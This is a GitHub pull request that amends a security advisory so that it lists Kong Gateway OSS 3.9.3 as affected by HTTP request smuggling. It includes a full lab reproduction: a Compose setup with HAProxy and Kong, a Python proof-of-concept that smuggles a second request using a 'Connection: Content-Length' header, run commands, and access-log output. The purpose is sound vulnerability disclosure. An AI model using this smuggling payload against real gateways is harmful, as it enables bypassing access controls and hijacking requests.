Skip to content

[GHSA-mj44-8qq5-6386] A HTTP request smuggling and desynchronization... - #8931

Closed
cooliscool wants to merge 1 commit into
cooliscool/advisory-improvement-8931from
cooliscool-GHSA-mj44-8qq5-6386
Closed

[GHSA-mj44-8qq5-6386] A HTTP request smuggling and desynchronization...#8931
cooliscool wants to merge 1 commit into
cooliscool/advisory-improvement-8931from
cooliscool-GHSA-mj44-8qq5-6386

Conversation

@cooliscool

Copy link
Copy Markdown

Updates

  • Affected products
  • CVSS v4
  • Description
  • Severity
  • Summary

Comments
The current advisory identifies only Kong Gateway Enterprise as affected. I
independently reproduced the same HTTP request-smuggling/desynchronization
behavior in the official public Kong Gateway OSS image kong/kong:3.9.3.

The reproduction uses HAProxy as an HTTP/1.1 frontend with backend connection
reuse enabled. A control request is handled normally. When the otherwise
equivalent request contains Connection: Content-Length, body bytes containing
a second HTTP request are processed by Kong as a separate request.

Minimal compose.yaml:

name: kong-oss-cve-2026-6338-repro

services:
  echo:
    image: hashicorp/http-echo:1.0
    command: ["-listen=:8080", "-text=ok"]
    networks: [backend]

  kong:
    image: kong/kong:3.9.3
    depends_on: [echo]
    environment:
      KONG_DATABASE: "off"
      KONG_DECLARATIVE_CONFIG: /kong-config/kong.yml
      KONG_PROXY_LISTEN: 0.0.0.0:8000
      KONG_ADMIN_LISTEN: "off"
      KONG_PROXY_ACCESS_LOG: /dev/stdout
      KONG_PROXY_ERROR_LOG: /dev/stderr
    configs:
      - source: kong_config
        target: /kong-config/kong.yml
    networks: [backend]

  haproxy:
    image: haproxy:3.4.2-alpine
    depends_on: [kong]
    ports:
      - "127.0.0.1:18080:8080"
    configs:
      - source: haproxy_config
        target: /usr/local/etc/haproxy/haproxy.cfg
    networks: [backend]

  poc:
    image: python:3.12-alpine
    profiles: [poc]
    depends_on: [haproxy]
    configs:
      - source: poc_script
        target: /poc.py
    entrypoint: ["python3", "/poc.py"]
    networks: [backend]

configs:
  kong_config:
    content: |
      _format_version: "3.0"
      services:
        - name: echo
          url: http://echo:8080
          routes:
            - name: catch-all
              paths: ["/"]
              strip_path: false

  haproxy_config:
    content: |
      global
          maxconn 256

      defaults
          mode http
          timeout connect 5s
          timeout client 10s
          timeout server 10s

      frontend ingress
          bind *:8080
          default_backend kong

      backend kong
          http-reuse always
          server kong kong:8000

  poc_script:
    content: |
      import socket
      import time

      TARGET = ("haproxy", 8080)
      CONTROL = b"GET /CONTROLX HTTP/1.1\r\nHost: lab\r\n\r\n"
      SMUGGLED = b"GET /SMUGGLED HTTP/1.1\r\nHost: lab\r\n\r\n"

      assert len(CONTROL) == len(SMUGGLED)

      def wait_for_kong():
          for _ in range(30):
              try:
                  with socket.create_connection(("kong", 8000), timeout=1):
                      return
              except OSError:
                  time.sleep(1)
          raise RuntimeError("Kong did not become ready")

      def send(path, connection, body):
          request = (
              f"POST {path} HTTP/1.1\r\n".encode()
              + b"Host: lab\r\n"
              + b"Connection: " + connection + b"\r\n"
              + f"Content-Length: {len(body)}\r\n\r\n".encode()
              + body
          )
          with socket.create_connection(TARGET, timeout=5) as sock:
              sock.sendall(request)
              sock.settimeout(2)
              while True:
                  try:
                      if not sock.recv(4096):
                          break
                  except socket.timeout:
                      break

      wait_for_kong()
      send("/control", b"keep-alive", CONTROL)
      send("/attack", b"Content-Length", SMUGGLED)

networks:
  backend: {}

This file uses inline Compose configs and requires Docker Compose 2.23.1 or
newer.

Reproduction commands:

docker compose down --remove-orphans
docker compose --profile poc pull
docker compose up -d --force-recreate
docker compose exec -T kong kong version
run_started="$(date -u +%Y-%m-%dT%H:%M:%SZ)"
docker compose --profile poc run --rm poc
docker compose logs --since "$run_started" --no-color kong \
  | grep -E 'POST /control|GET /CONTROLX|POST /attack|GET /SMUGGLED'

kong version reports:

3.9.3

The Kong access log contains:

"POST /control HTTP/1.1" 200
"POST /attack HTTP/1.1" 200
"GET /SMUGGLED HTTP/1.1" 200

There is no GET /CONTROLX entry. The two bodies have the same length, but
only the request carrying Connection: Content-Length causes its body bytes to
be parsed as another request.

This demonstrates that Kong Gateway OSS 3.9.3 is affected. I am suggesting only
that the confirmed OSS version be identified; Kong should verify the complete
affected and patched OSS version ranges.

Supporting image:
https://hub.docker.com/r/kong/kong/tags?name=3.9.3

@github-actions
github-actions Bot changed the base branch from main to cooliscool/advisory-improvement-8931 August 1, 2026 06:39
@cooliscool cooliscool closed this Aug 1, 2026
@github-actions
github-actions Bot deleted the cooliscool-GHSA-mj44-8qq5-6386 branch August 1, 2026 06:48
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant